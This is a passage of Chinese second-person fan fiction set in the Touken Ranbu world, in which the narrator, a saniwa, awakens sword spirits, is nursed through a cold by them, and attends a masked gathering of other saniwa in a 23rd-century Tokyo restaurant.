“主君?”笹贯跟了过来。
“你坐在那边喝茶就好。”你语气平淡,试图让他放松,“放心吧,我的灵力还没有到随便碰坏刀剑的地步。”
自从在山坡上摔下,你忽然感觉心里充满平静,连同灵力波动也变得平稳。
保养刀剑需要专心致志,不被刀剑割伤。你戴上口罩,隔绝呼吸中的湿气。小心地拿起刀剑,用绒布擦去上面的灰尘,再用棉纱布沾少许刀油均匀涂抹剑身。
从灵力感知上看,笹贯的本体刀内部也没有裂伤。换个角度想,也许是缺少保养所致。自从治疗完笹贯躯体的伤口,他的刀便一直放在你的房间保管,恐怕会生锈也说不定。
你用棉布用力擦拭,再用丁子油敷在剑身上盘擦,去除刃面上可能会有的杂质。刀剑保养全套下来要一小时。当你把笹贯的本体刀盘擦完毕,完成所有工序,确认上面完好无缺,收刀入鞘。转过头时却发现他
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根本没有回到座位。
笹贯不知何时,搬了张椅子坐在你不远处。垂下的额发还有变色眼镜挡住他大半张脸,露出的皮肤泛着不正常的红晕,双手放在膝盖上,显得拘谨。
“我检查完了,没有问题。”
“嗯嗯……”笹贯声如蚊呐,还呆在原地不动。
你把手套脱去,在笹贯耳边打响指。笹贯浑身一震,触电般往后躲闪。你失笑出声,觉得他的表现过于夸张。
狐之助适时的再度出现,打破沉默。“审神者大人!小乌丸阁下求见。”
“让他上来吧。”你收拾桌面上的东西,把变温的茶水一饮而尽。
小乌丸穿着初次见面时的内番服,看到笹贯在时微微睁大眼睛,随后把洗干净的狩衣还到你手上。“主君。为父此次前来是想谈有关唤醒沉睡刀剑的事。”
你点点头,也到唤醒沉睡刀剑的日子了。虽然你心里觉得一下子唤醒那么多对前主有怨气的刀剑,实在搞不来。不过也明白小乌丸他们思念同伴的道理。
“我会首先唤醒一部分。”你拿起平板查看刀账,“如今本丸的资源和心力皆有限制,一次性唤醒所有沉睡的刀剑可能会造成混乱。”
“我也可以去吗?”笹贯问到。
“当然可以。”
你们走下天守阁,到达「梨花殿」。没想到一期一振和前田藤四郎也在。一期一振在给前田介绍本丸同伴,前田眼睛泪汪汪。
“啊,主君来啦!”前田看到你,抹抹眼泪跑到你面前,像小鸟一样躬身。
“主君,”一期一振也将手放在胸前,向你致礼。
“我来唤醒刀剑。”
“哎?!真的可以吗?”
你看到前田手里拿着一块披肩。
你点头,刀剑们自觉地把首批需要被唤醒的刀剑排好,防止唤醒时出现人挤人事件。
一次性唤醒刀剑需要大量灵力,你跪坐在地上,预防灵力大量消耗导致晕眩。从记忆中寻找唤醒前田藤四郎的感觉。
闭上眼睛。眼前刚开始是漆黑,但随着灵力注入,眼前的漆黑出现一个白点,白点逐渐闪烁,稳定,扩大,最后变成温和的白光笼罩整个视野。
再睁开眼睛的时候,梨花殿母屋内站满刀剑男士。
“这是……”一个矮个子的黑衣男性首先出声。他好奇的打量房间。你记得这个刀剑男士出现的位置是一把名为「加州清光」的刀剑。
“啊,这不是前田藤四郎嘛!”一个爽朗的声音大声响起。
你抬头看到一个身材高大、佩戴红色珠子的男子在说话。虽然对?刀长度有概念,但站在其化身的付丧神身边还是会感到意外。
首次唤醒的刀剑有三位,分别是加州清光、大和守安定以及岩融。
“这位是新来的审神者大人。”狐之助首先说道。
你点头行礼。“我是这座本丸新任审神者。”
一次性唤醒三把把刀剑的感觉实在不舒服,你也不喜欢嘈杂喧哗的环境。如果是平时,你会想用些小伎俩,让他们对你第一面充满好感。不过看到这么多人,你反而生出一种怠倦。
简单的自我介绍后,你拜托小乌丸撑场子,又对一期一振和前田藤四郎微微颔首,示意他们照顾好同伴。自己提前离开。
“主……君?”
一个声音在你身后响起。
23.第二十三章
你循声望去,目光落在身着西式军服的少年上。
“加州清光。”你低声说。
他吃惊地睁大眼睛,然后急切地点头,“啊——是!我是川下之子,加州清光。虽然不好上手,但是性能很不错哦!”
足足有三秒钟,你一直看他,之后才咧嘴一笑,“很高兴认识你。”
加州清光欣喜地从身侧拉过一直没有开口的少年,“这位是大和守安定。主君大人,他也是很好的刀哦!”
下垂眼少年先是拧着眉头看向加州清光,然后才缓慢地对你躬身,“大和守安定,不好上手但我想是把好刀。”
小乌丸在不远处歉意的看你,你点点头,太阳穴传来一阵钝痛。
岩融也趁机把脸凑到你跟前,“哦哦,您就是新任主君吗?太小了,没有注意到啊,我是岩融,是武藏坊弁庆的薙刀哟!噶哈哈哈哈!”
岩融站直身子,比你高出一个头,声音震得你耳朵直嗡嗡,于是你抬手做出明白的手势。
你一一向他们问好。“小乌丸,带他们熟悉本丸的新布局吧。”你开始安排今天事物,眼神不自觉地飘向天守阁,“我们今天休息一天。明天再去联队战的合战场。”
再继续下去,你不知道还能不能保持良好的教养。你维持面部表情的平静,步履沉重,再度踏上回天守阁的路,这次没人再拦住你。
天守阁内没有打开空调,你推开窗通风。明明还不到降温的时候,可是风穿过中衣,吹在身体上让你直打哆嗦。
你不安地就着温水吃下感冒药和复合维生素片。如果有人愿意照顾你的话……这个念头一闪而过,你摇摇头,干脆昏昏沉沉把自己摔入布团。
黑暗缓缓步入,杂乱无章的梦孕育而生。你坠入一个光怪陆离的梦境。一群人从海里来,天上来,然后点燃大火,火焰裹着浓烟把一切东西烧个精光。你周围是熟悉的小区公园,你坐在长椅上,手里握着一瓶喝空的可乐。可乐瓶底部还有一些液体,你仰头摇晃可乐瓶,试图把瓶壁上的可乐也喝掉。
一个披着白纱的蓝色人影悄无声息地坐到你身边,你转过头,看到一张和三日月宗近别无二致的脸。
“你也是三日月宗近吗?”你听到自己的声音在问,在酷热中声音扭曲得低沉又浊重。奇怪?为什么又是他?他的存在把有关奶奶的梦挤掉一半。
“是啊,我也是‘三日月宗近’,”胧月和本丸的三日月不同,整体更虚无缥缈。“叫我‘胧月’就好。”
“这里不是「异界」吧?”你环顾四周。大火损坏了地表,到处是浓烟滚滚,已经没有人能在这片土地上生存。
“嗯……是什么呢?只要与「现世」相对,就是「异界」吧。其实审神者所在的本丸也是「异界」的一种哦。”胧月微笑着。
“这里也有规则吗?”
你在长椅上撑着脸,思考现在再弄一张覆面是不是有些晚?
胧月顺着你的视线看向远方,那里的天空中,一团火焰无声的燃烧。
他忽然开口,“您这次,又要把眼睛放在哪里呢?”
咔嚓。
鞋子在木板发出微不可闻的咚咚声。
你烦闷地翻个身,往被子里缩,用被子挡住耳朵。
声音消失了。
呼——
你猛地掀开被子,枪指住来人的胸口。
“早上好。”你轻扬了下嘴角,“大和守安定。”你说着把视线移到少年的腰间,那里没有挂刀。“真高兴,你还会换衣服来见我。”
看上去稳重乖巧的少年抿着嘴,此时用一种混杂着担忧与固执的眼神看着你,跪坐在布团边。
“你是第二把未经我允许踏入天守阁的刀剑。”你控制自己的手,让枪口保持平衡。
“您的房间什么也没有呢。”大和守安定仰头望向这个房间里的刀架。这个房间除了衣柜和刀架外别无他物。
“据说可以通过一个人的房间来知晓一个人的性格。您也是空荡荡的吗?”他看上去没有任何抱歉的意思。
“我只是不喜欢房间里有多余的东西。”你看到咒术枪上已经滑开了一道保险。真糟糕,你都忘记是哪时候打开的它。你漫不经心的把枪收回,“咔嚓”,再滑开一道保险。
他没有被咒术枪吓倒,反而向前膝行了半步,“那是火枪吗?我没有想到您睡觉也会把武器放在身边。”
“我不摸点冰冷的东西睡不着。”你笑眯眯地回应,每个字从牙缝里挤出来。
他沉默片刻,那双下垂眼一眨不眨地盯着你,“您生病了。”
“是啊。如果再不睡够觉,就离生病不远了。”你用另一只手抹开额头上湿透的头发,感冒药似乎没有效果。你不知道自己现在看上去怎么样。
太阳已过正午的位置。
“我来是叫您吃饭。”大和守安定终于说出一个你接受的理由,“一期阁下和笹贯阁下做了您可能会喜欢的食物。”
“我会吃的。”你把玩手里的枪,手指在扳机护圈上敲击,现在咒术枪只剩下最后一道保险的蓝光没有亮起。
你想不到刀剑男士们让大和守安定叫你吃饭的理由,“你还有事吗?”
“我想问问……您为什么会选择唤醒我和加州清光。”
原来是这个。他终于问出核心问题,身体前倾,手撑在地面上。
从和服衣袖中露出的手腕很纤细,指甲也修剪得很干净。但你明白在温柔的外表下,大和守安定是一把良业物,一次可以斩四朣凶刀。
正巧你喜欢妖刀,凶刀,斩鬼刀。
于是你均出一点点耐心,解释道:“加州清光的侦查在打刀中和鸣狐并列第一。不过我觉得单单只唤醒他一人,估计他会因为感到寂寞,大半夜在本丸里乱逛会吓到别人吧。”
你摊开手,表示自己在乎着加州清光这把刀,让他放心。
大和守安定似乎还想说什么,但你不想再给他机会。
“好了,问题问完了。”你把枪放入衣襟里,强势地结束进一步对话,直径站起身,无视跪坐着的大和守安定,打开衣柜的左门。
“嗯……对了。你去发工资吧。”你的衣物很少,左边的空间被当杂物柜用。你把一早计算好的小判给大和守安定,把前任欠下了两个月工资发还给他们。
“给我们钱吗?”大和守安定继续发问。他跪坐在原地,没有跟在你身后。
“拿钱办事。”你把纸包的三份小判往前一推。“吃完饭你和加州清光一起去种地。”
大和守安定看着榻榻米上的纸包,良久,他博美犬一般的发尾好像突然间塌了下去,“对我……”他没有说下去,默默拿起纸包,对你行礼,拉开门安静的离开了。
你没有胃口,身体的惰性让你连下楼也觉得是件难事。你用力伸个懒腰,脊椎骨发出嘎巴嘎巴的声响,坐在天守阁房间内,查看审神者论坛。离白川提到的审神者聚会还有两天。
要选谁一起去比较好呢?
联队战也需要安排。你想,如果本丸唤醒刀剑的候选名单内有擅长处理内务与文书的刀剑男士就好了,方便自己做甩手掌柜。
翻看刀帐后你注意到一个问题。现在时之政府共研究出来百把刀剑付丧神。但这并不意味你一定会拥有百把刀剑。
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如果你单纯是他们的上司,那么有用的员工多多益善。但如果以主君的角度去想,他们作为家臣效忠于你,为了回应这份忠义,你心底里难免希望能对待每一把刀剑一视同仁,这就必须要对刀剑们精挑细选,尽量召唤自己感兴趣的刀。有些刀剑人际关系复杂,可能出现带一个回家就要带一群回家的情况。
你感觉有些头痛,不知道是因为感冒还是别的原因。在刀帐上勾选几个必须要得到的刀剑后,便把刀帐放到一边。
“主君!”门外传出爽朗的声音,你记得这是岩融的声音。
你几不可闻地叹气,皱起眉头,看来大和守安定给其他刀剑男士开了个坏头。
于你想的不同,岩融没有擅自开门,一直在门外等你回应。
你摸摸下巴,“进来。”
高大的付丧神拉开障子门,跪坐在门外。他低着头,一头橘色短发,尖锐的指甲让他看上去更像蓄势待发的野兽。
“主君!”他充满气势的大喊一声,露出一嘴尖牙,头上虾须呆毛伴随主人的动作弹了弹。
他看到你的脸,先是吃惊,续而转为歉意,“啊,您生病了吗?脸好红啊!”
“说吧,这次是想说什么?”你没好气的看着他。
岩融没有回答你,而是直接走进浴室,说:“主君的毛巾是哪一条?!”出来后手里拿着一块拧干水的毛巾。
“我睡觉……”你挣扎着制止岩融要把毛巾往你脸上呼,“唔……”
你不满的看着高大的付丧神。怎么这次唤醒的刀剑那么有个性?
“这样看,您和前任主君不太一样。”
“不要把我和佐藤比。”你拿过自己的毛巾,几根线挂在岩融的指甲上。
“啊……主君。”岩融的爪子勾出一缕线条。“真抱歉啊,噶哈哈哈,毛巾好像被我弄坏了。”
他把指甲上的毛线小心翼翼解开,露出正色,“我此次冒味前来,是想问主君是怎么找回前田藤四郎的?”
“你是要问有关今剑的事吗?”你记得在逸话中,岩融与今剑的主人是主从关系。
“是的。”他保持跪坐的姿势,头深深的低下,几乎要叩拜在地板上。
“是在联队战的合战场内找到的。如果你希望今剑回到本丸,可以多上合战场。”你象征性的问一句,“你愿意吗?”
“当然是要去狩猎!”
“嗯。”你点了点头。
他眼里的火焰跳动了一下,“您……不介意吗?”岩融大声的问。“不介意刀剑们的关系会很好吗?”
“我希望你们的关系好。”你迎上岩融的目光,“我甚至希望你们能互相扶持。因为我不可能照顾到每个人的情绪。”
你在心里补充:但这份牵绊,不能凌驾于对主君的忠诚之上。
你的坦白似乎让岩融感到意外,他征征地看着你,随即咧开更大的笑容,郑重地行礼后,便起身告退。
在生病时间还这么耐心的接待刀剑男士们进屋闲聊,你都要怀疑自己是不是真的是一个大好人了。
把岩融送出天守阁三楼,你再怎么躺布团上也无法入睡。你走进洗漱间洗脸,才看到镜子里自己的脸颊泛着不正常的红色,整张脸像从水里刚捞出来。真可惜,你第一个想法是后悔,如果刚刚用这张脸卖惨,也许可以刷波好感,方便以后行事。
你把障子掩上一半,没有放轻脚步,走下天守阁去食堂拿口饭吃。
接下来还会有谁来?你大胆地猜想,估摸没人了,你已经把谢客写在脸上。走到天守阁一楼,你几乎两眼一黑,前田藤四郎和一期一振挤在一楼看着你。
24.第二十四章
两人站在天守阁一楼的景趣绘马附近。一期一振手提一个花布打包的饭盒,前田藤四郎面对绘马,用手指在绘有不同花卉图案的绘马上敲击,从一月点到十二月。穿着内番服的前田藤四郎宛如放学的国小学生。
前田最先侦查到你下楼的声音,大步走到你面前,拉住你干冷的手掌。“主君,我们看您很久不下来就来找你啦。”
“您的手怎么凉冰冰的!”他慌张地踮起脚尖,一只手拉着你的手,另一只手按在你额头上。他的手是温暖的,但是你还是不由地打了个冷战。
“我吃了药。”你尽量让自己口齿清晰。
“吃药吗?”前田脸蛋鼓起,低下头时蘑菇头的一侧挡住他的脸。他的失落只持续几秒,随后抬起脸认真的说,“请让我照顾主君吧!”
一期一振也走到你身边,“主君,虽然一直硬撑着是很了不起的做法,我也觉得您需要保重身体。”
“我没有硬撑。”
“嗯。”一期一振点头,“但我依旧认为您需要卧床休息。”
一期一振说话时表情很温和。突然,一个念头悄然钻入你脑海。一个大胆的、又极具诱惑力的测试。你和一期一振还算熟,前田又是你唤醒的刀剑,为何不用一个极度反常的自己,去测试他们对你的好感呢?
你提高语调,看向一期一振,“一期——”“哥”这个字在你舌尖滚来滚去又咽回肚子,“——一振,我现在要吃冰淇淋。”
你的语气比起任性,更像是在表演任性的病人。一期一振难以置信地瞪大眼睛,又看了你一眼。
“哇,冰淇淋?”前田藤四郎才被从合战场带回,只吃过平安时代的冷饭,他咽下口水,“不过我更希望能和健康的主君一起去万屋。”
“……如果您想吃的话,我后面会带前田藤四郎和您一起去吃的。”
一期一振和前田藤四郎各拉住你一只手,合力把你牵回三楼房间。
“我是主君——”你挣扎着,想到自己费尽力气才走下两层楼梯,决不能就这么轻易被送回去,于是奋力回到一楼。
天守阁一楼的房间一直无人使用,现在一看也堆积不少灰尘。
一期一振为你挑选一间挡风的房间,打开障子门换气。前田藤四郎则坐在木地板上,打开花布包裹的饭盒。饭盒里是日式杂烩粥,白米里有切成星星形状的红薯和白萝卜块。
你被前田拉坐在地板上,吃下一口。杂烩粥的米粒是硬的,口感像汤泡饭。
“主君,我也有帮忙哦!”前田在你谢绝喂饭提议后,就抱着一盒综合营养饮料紧挨着你坐下。
“你做得不错。”你先是夸奖前田,又转向一期一振,“你也辛苦了。后面人手多了,饭堂也会开始轮班制。”
“是笹贯阁下见您脸色不好,才提议熬粥的。”一期一振脸上露出一丝微笑,用闲聊的语气说,“对了,小乌丸阁下现在应该在打理天守阁附近的花呢。”
他停了一下,“如果被他看到您现在的样子,恐怕他会很自责吧。”
你的手指在药瓶上摩挲,“小乌丸身体怎么样?”
“请放心,他的身体比您强健很多。”
你没有什么胃口,但在一期一振那双金色眼眸的注视下,为了维持主君的威严,还是一口口把粥咽下。你满脸沮丧地接过前田手里的综合营养饮料,包装盒上大字标明“VC3000!”。一下子喝那么多维生素C没问题吗?
“好了,主君吃完饭,就要开始喝药咯!”前田藤四郎从口袋里掏出一罐100毫升的玻璃瓶,漆黑的不明液体在玻璃瓶里摇动,“我听狐之助说,人生病就要多补充维生素!主君喝下这个特效药就能快快好起来。”
你认命般闭上眼睛。
“主君讨厌吃药吗?”前田的声音在你耳边响起。
“姆,没有……”你接过瓶子,随即想到前田如果一直给药怎么办,立马改口,“我是一点也不喜欢。”
你以为他会收回,但前田只是握紧拳头,用纯真的眼神望着你,给你打气,“主君加油。”
你感觉自己像个被逼上梁山的好汉,慢慢地吸了口气,将不明液体一饮而尽。光从气味上看,它和刷锅水差不多,而从味道而言,更像是癍痧凉茶。你剧烈颤抖一下,脑子如同被巨浪冲洗干净,
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所有想法被倒入漆黑的垃圾桶。你努力让自己保持清醒,眼皮在抖动,在短暂不适之后,一股比寒风更冰凉的温度从胃部升起。
一只温暖的手掌覆上你的后背,轻柔拍抚。
“哈哈哈,”你听到一期一振的轻笑声,“没想到您还有这样的一面。”
你抬起头,用还泛着水光的眼睛瞪向他。“我不为人知的一面多得去了。”
他的视线在你的脸上长久地——停留一会。
“抱歉,失礼了。”他收回手,“只是觉得……这样的您,似乎比平时一直紧绷着要好一些。”
他话锋一转,“我刚才看到大和守安定和岩融从天守阁出来。希望他们没有惊扰到您。”
你呆坐着,需要一点时间从黑色药水冲击中恢复。一期一振和前田一边收拾饭盒一边聊哪时候去吃冰淇淋。有时候你搞不懂这些刀剑男士们在想什么。
不过关于大和守安定,你觉得他应该不是很喜欢你。
“主君很困吗?”前田藤四郎的手放在你额头上,手掌往你鼻尖方向滑动。他似乎很喜欢碰你的脸。
你握住前田的手拿开。“我还行……非常非常的好。所以出去走走吧。”
一期一振和前田跟在你身边。你一般只在天守阁附近散步,很少到本丸南面。
一路上你沉默不语,任由发热的思绪在脑海中断断续续翻滚。两天后的审神者聚会是预约制度,与会名单今天就必须投递。
新唤醒的刀剑男士你打算把他们扔去联队战磨练,一期一振会希望和前田呆在一起,小乌丸也希望照顾后辈。此后还有一件事需要确认。排除了这些人,你还需要一个随行者。
这位候选者,在山姥切国广,笹贯和三日月宗近三人之间来回跳跃。
你的内心,惰性和上进心来回拉扯。你一边渴望有个得力助手替你处理好一切,另一方面,来自心底的警惕又在告诫你,绝不能成为一个可以被轻易替代和架空的主君。
你在本丸的结界边停下,抽出白川桃的名片,上面的红色纹路在阳光下变得清晰可见。
骰子落在三日月和笹贯手中。
25.第二十五章
“座位将根据抽签号码安排。”
闻言,你抬头看向招待员。这句话在电子请函上没有标出。
时间已到九月底,再过两天就是“神无月”,天气骤然转凉,一轮明月孤零零挂在夜空。
招待员穿着大正时期的女仆服装,点缀大量荷叶边。看到你对她微笑,她也绽放大大的笑容,将抽签盒子递到你面前。
审神者聚会因为报名人数过多,某位审神者的家族提议可以将聚会地点更改在他们家族的开设的店内。于是聚会地点改为以万屋街中转,到另一侧时空缝隙举办。
这里非常接近于「现世」。你不由地停下脚步,目光被23世纪的街道吸引。
一种美丽又繁杂的风景。
聚会地点位于东京繁荣街道的摩登大楼十二楼,四周是不同高度的白色楼宇,从透明玻璃往外看,灯火辉煌。
你想起狐之助在传送前匆匆塞给你的说明——这个时间侧内,民用科技发展与21世纪无异,但贫富差异巨大,只要有钱就能享受到最好的服务。除去首都的光辉,更远处的街道横七竖八,闪烁的灯光掩盖一切罪恶和贫穷。
今日整一层店都被聚会举办方包场,店内人影绰绰,虽说大家都来自不同时间点,不同身份,但只要汇聚与万屋街就是共同保护历史的同事。为了表示对非人同事的尊重,参与聚会的审神者按要求佩戴不同的覆面遮掩面部。狐面、啸吹、面帘、白纱……在朦胧的金色灯光下,人们交错而过,低声交谈,构成《千○千寻》里神明下船的场景。你下意识检查脸上的覆面布有没有戴稳,确保它遮盖得恰到好处。
至少要在同事们面前留下好印象。这个念头促使你挺直腰背,从盒子中拿出一张号码牌。门口的招待员检查完你的电子请函,带你走入长廊深处。餐厅里模仿江户风格设计,内有多个包间,包间隔断与落地窗间用枯山水填充空隙。一些审神者没有选择包间,而是三两成群坐在露台上。
十号位的包间在最外侧,拉门外的榻榻米座位上,已坐有一位一期一振。
你跟随招待员走到门前,她轻轻拉开障子门。视线掠过内室,一个身影映入眼帘。
他身披酒红色羽织,下着灰色武士袴,脸上戴着一副狐狸面具。羽织上红白图案交织,宛如金鱼的纹路;丝绸般柔滑的黑色长发在脑后低束,衬得皮肤如雪般白皙。在灯光下,那人的肌肤泛起金子一般的光辉,俨然一副贵公子模样。
他仰起头,狐狸面具后的眼睛闪闪发亮。
“林君?”
他,或是她开口的瞬间你吓了一跳。你重新审视对方的体态与姿势。
“白川……前辈?”
招待员无声地退出,笹贯与三日月宗近留在门外。你走向六号座位,目光不着痕迹地再次扫过白川桃的装束。白色高领衫和皮带混搭穿着,与外层的传统服饰形成了微妙的混搭。
白川桃的样貌清秀端正,装扮成男性也不违和。
“不好意思,”你在坐下时选择了一个委婉的措辞,“您今天的穿搭很特别……与您很相配。”
“我见到你很开心。”白川的声音比上次见面时低沉了些,不知是这身衣服给你的错觉,还是她有意为之。
“我也是。”你没有说慌,虽然和她只见过一面,但能和她抽到同一包间还是很高兴。只不过白川桃与你身高相仿,盖上面具后有种奇特的即视感。她羽织上的家纹既不是河流也不是桃花,而是一个“井”字图案,中间是蛇目纹样。
白川桃从腰间抽出一把折扇扑风。
也许是重感冒初愈,你觉得窗外的凉风温已经足够凉爽。
“23世纪真的很奇妙呢。”白川桃压低声音,眼睛看向窗外。
你顺着她的视线望去,这间包间的窗户恰好对准月亮的位置,房间内装饰用的樱树枝在视觉上刺穿了月亮。
“不论什么世界,一切都不过像樱花一样短暂。”
听到白川桃这么说,没由来地,一股热流突然涌上心头,你的眼睛莫名其妙地微微刺痛。
你压下起伏的情感,平稳的说:“不论如何,历史总会不断发展下去的。”
“只要有人类就会有历史吗?”
“历史是人民创造的。”你下意识说出教科书上的答案,随后觉得这个答案过于公式化,会不会让对方觉得自己是个不会自主思考的人。
白川桃用折扇掩住下半张脸,即使戴着面具你也感觉到她在微笑。
“今天还是不说工作上的事好了。”她转移话题,“林君来自哪一个时间侧?”
“21世纪吧。”
“啊,遭了”白川桃夸张的叹息,收起折扇在脑袋上敲了敲,“那么对林君来说,我恐怕还是个婴儿啊,我还能叫林君吗,还是要叫‘林前辈’?”
你挑起一边眉毛,“这个……”
“开玩笑的,我是22世纪的人哦。”
虽然已经知道有其他时间段的审神者存在,但亲耳听到还是有种现实与虚构边界模糊的感觉。在与白川桃第一次见面时,你还以为她应该是与你同一时间的人。那种一直伴随着你的,“玩游戏”的感觉又出现了。如果狐之助第一次出现是奇幻游戏,现在应该是软科幻吗?
“很不安吗?”
“嗯,是……”你挑选词汇,“很有意思吧。”
察觉到说出“嗯”可能不够正式,你连忙改口为“是”。但白川桃似乎并不介意“嗯”和“是”的用法,只是默默无言地凝视着月亮。
你也保持沉默,借这个机会更仔细地观察这位来自未来的同僚,以及这个空间。
你和白川桃之间的静默被障子门再次拉开的声音打断。
第三位与第四位审神者同时抵达。
走在前面的是一振压切长谷部和一振烛台切光忠,他们共同护着一个戴猫咪面具的小女孩。两位刀剑男士在门口进行短暂的交涉(大多是长谷部在争)后,烛台切光忠轻拍长谷部的肩膀,说:“主君就交给你了。”随后他退出包间,坐到属于刀剑男士的席位。
小女孩依依不舍地说,“咲茉也会给咪酱点很多好吃的!”
你的目光在女孩身上多停留片刻,这个声音……你认出女孩,是几天前和山姥切在家庭餐厅遇到的戴蜜蜂发圈的女孩。她身上穿着一看就价格不菲的蓝色洋裙,搭配浅色的大波浪卷发,安静坐着时,像橱窗里的精致人偶。
往后是一振巴形落座在你身边,他肩膀上停着一只灰鹦鹉。
房间里有人发出奇怪的嘟哝声。
“小生正是审神者!”灰鹦鹉突然开口,声音洪亮。它扑哧翅膀,环顾一圈,“诸位,别干坐着!先点东西吧!”
这突如其来的发言让凝滞的空气瞬间流动起来。
你拿起桌上的菜单。前三页是牛不同部位的肉类图鉴,第四页是蔬菜和甜品。你的视线在“甜酱油&芝士沙冰”上停顿,随即略过。在这种场合点沙冰显得不够沉稳,但选择芭菲的话似乎又显得孩子气。你决定先观察一下别人的选择。
“咲茉全部都要。”女孩的手直接翻开菜单上甜品页,坚定的指着满满一页的图片。
“咲茉大人。不可以浪费哦。”对方的压切长谷部立即俯身,悄声提醒。
咲茉反手用小小的手掌捂长谷部的嘴,“不对,咲茉可以请客啊。”
在灰鹦鹉的“畅饮才能尽兴”的倡议下,大家很快达成共识。白川桃和灰鹦鹉自然的都点了酒类。
“诶……”你忍不住发出一个短促的音节,想提醒鹦鹉喝酒会死。
灰色鹦鹉仿佛看穿你的想法,先扯嗓子大叫:“不醉不归!”
“咲茉可以摸摸鹦鹉先生吗?”
“小生的荣幸!”灰鹦鹉不等它的巴形反应,“哗啦”一下飞到咲茉身边,
长谷部警惕地把咲茉往后扶,隔开她和鹦鹉的距离。
没有摸到鹦鹉孩子也未苦恼,而是拍手建议大家自我介绍,她站起来举起右手,“那我先来!我是星咲茉!想要和大家做朋友!”
她强调“星”才是她的姓氏。在这种充满怪力乱神的场合,你有点担心这孩子是不是真的在说自己的真名。但是她身后的压切长谷部没有出言阻止。
“咲茉喜欢甜点,蛋糕,还有猫咪。”
大家配合的为这位看上去幼儿园在读的小朋友鼓掌。
“星小姐笑容真好啊。”你开口说。
“‘星桑’吗?”咲茉把手放在嘴上,“我是‘咲茉酱’哦。”她一边说一边点头,“‘星’是称呼妈妈爸爸的名字,哥哥要叫我咲茉哦。”
你仔细一看,咲茉面具后的眼睛也是极浅的颜色。
“那么小生也来自我介绍一番,”灰鹦鹉在巴形手臂上跳踢踏舞,“小生是鹦鹉!”
你呆愣一阵,灰鹦鹉的巴形显然习惯了这种场面,解释道,“主君……不只是鹦鹉。这只鹦鹉是主君的形代。因主君行动不便,所以只能以这种方式来到本丸外面。”
鹦鹉发出咯咯咯的笑声,报出自己的代号,叫“吉一”。
“我是白川桃。”白川的声音一出,咲茉和吉一都发出吃惊的抽气声。
“哥哥不是哥哥……是姐姐吗?”咲好奇地对白川的面具伸出手,却被白川巧妙地用手掌迎上,变成击掌的手势。
白川桃用柔和的声音完成自我介绍。接下来轮到你。
白川茉望向你,“哥哥,你也是姐姐吗?”
室内短暂的安静了一瞬。
“不。”你清晰的纠正她,声音带着笑意,“我是林。”
因为咲茉这个小插曲,气氛变得更加轻松,你省略繁复的措辞,用简单的语言完成自我介绍。
“今天天气很好呢!”“你们除了酒还要来点冰淇淋吗?”“我喜欢芭乐味。”“听说万屋街开了一家新店。”“林君一直在看门外呢,要叫刀剑男士们一起吃吗?”
宛如女子高中生般的闲聊在桌面上演。你听着这些零散的对话,目光在吵着要去夹娃娃的灰鹦鹉,和一脸天真地讨论甜品口味的咲茉之间流转。吉一的语调带着一种历尽世事的圆滑,你推断它背后的审神者,年龄恐怕不止表面看起来那么轻浮。你看一眼门外,刀剑男士们的身影在障子门上投下剪影,偶尔好奇地往里偷看。
金色的酒液和烧制好的烤肉端上餐桌,终于让吉一暂时安静下来。你和
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白川桃把一些酒分给门外等待的刀剑男士们。
推开拉门,你看到不远处的几个包间外的榻榻米式座位上,也坐着林林总总不同刀派的刀剑男士。他们或正坐,或倚靠墙壁,目光时不时投向主君所在的房间。这场景莫名让你联想到,现世商超外等待主人购物归来的宠物狗。这个念头让你微微皱眉。
“林君不喝酒吗?”吉一飞到你的手臂上,爪子抓住你的衣袖。
你平静的回答,“还有几个月才能喝。”
“现在偷偷喝一点也无所谓嘛。我大学时……不,高中时就有同学偷偷喝酒哦。”
“注意分寸,我的主君还是个孩子。”长谷部皱着眉头。
“咲茉也要碰杯!”咲茉双手高举芭乐果汁。
你并不为此苦恼,甚至来之前就预想过类似的劝酒场面。或许是氛围影响,你拿起子弹杯大小的、混入了啤酒的波子汽水,对吉一和白川桃举了举。
白川看上去对吉一的劝诱行为不太高兴,她嘟哝一句“太影响孩子了。”然后与你碰杯。紧接着,她拿起自己面前的一小瓶威士忌,在吉一的注视下,仰头一口气喝干。
鹦鹉吓得羽毛直竖,再也不敢提劝酒的事。
“这么说,这次聚会里来的大多数都是「内部育成」的新人啊。”吉一喝着巴形倒入饮水器的啤酒。
你捕捉到关键词,“「内部育成」?”
“嗯,这次的新人很多,有三十多个。”吉一抬起一只爪子,摇晃你喝空的子弹杯。“万屋街不是贴了布告,说可以提供大学生实习证明吗?估计用这招吸引了不少人吧。”
“哪有那么多天生具备灵力的人啊。估计是时之政府又从其他时间挖的人。”喝酒后的白川声音比平时干哑,使得她的男装更加天衣无缝。
“大学生单纯嘛,好上手。”吉一咯咯咯笑起来,“不过两边都要小心。听说之前有本丸收实习生,结果整个本丸被实习生架空了,审神者自己反倒被赶了出去。”
咲茉听到这里,大声说,“……好可怕!鹦鹉叔叔不要说这种事!”
“叔、叔叔……?”吉一的声音仿佛被抽干了力气,连自称“小生”的劲头都没了,子弹杯也停止摇晃。
咲茉背后的长谷部,手已经按在刀柄上,眼神冰冷。看到长谷部的动作,吉一背后的巴形手也抚上一旁的本体。
“小咲茉说的对,”白川桃竖起一根手指,打破紧张的气氛,“入职的手段多种多样。抢夺别人的本丸,既无效率也无益处,手段太低级了。”
吉一的巴形和咲茉的长谷部立刻连连点头,表情僵硬的附和,似乎也被吉一的传闻吓得不轻,都表明不会侍奉除主君之外的人。
你看着眼前这幕,一种微妙的违和感在你心中升起。你拿起一片烤肉慢慢咀嚼,试图理清这股违和感的来源。
“说起来……大家都是怎么成为审神者的呢?”你放下筷子,忍不住好奇的问。
咲茉举起右手,“因为妈妈爸爸工作很忙,咲茉就是审神者了!哥哥呢?”
“是被狐之助推荐的。”
“小生就是从「内部育成」里出来的。”吉一有气无力地回答。
“我是家族传承。”白川桃淡淡的说。
“诶?”咲茉歪头,看看你又看看白川桃,“林哥哥和白川姐姐不是一伙的吗?”
“一伙?”你反问。
“嗯,因为你们长得很像嘛!”
你闻言看向白川桃,她也正笑着看你。
“下巴的轮廓确实有点像吧?”她说。
或许是那杯混了啤酒的波子汽水起了作用,你感觉有些燥热。借口去洗手间,你离开了那个信息量过大的包间。
你推开障子门,一眼就看到笹贯和三日月。他们在和咲茉的烛台切光忠、还有白川的一期一振一同坐在外面的榻榻米座位上,面前摆着清酒。
你一出现,笹贯的声音就响起来,带着轻快的笑意,“主君没有偷喝酒吧?”
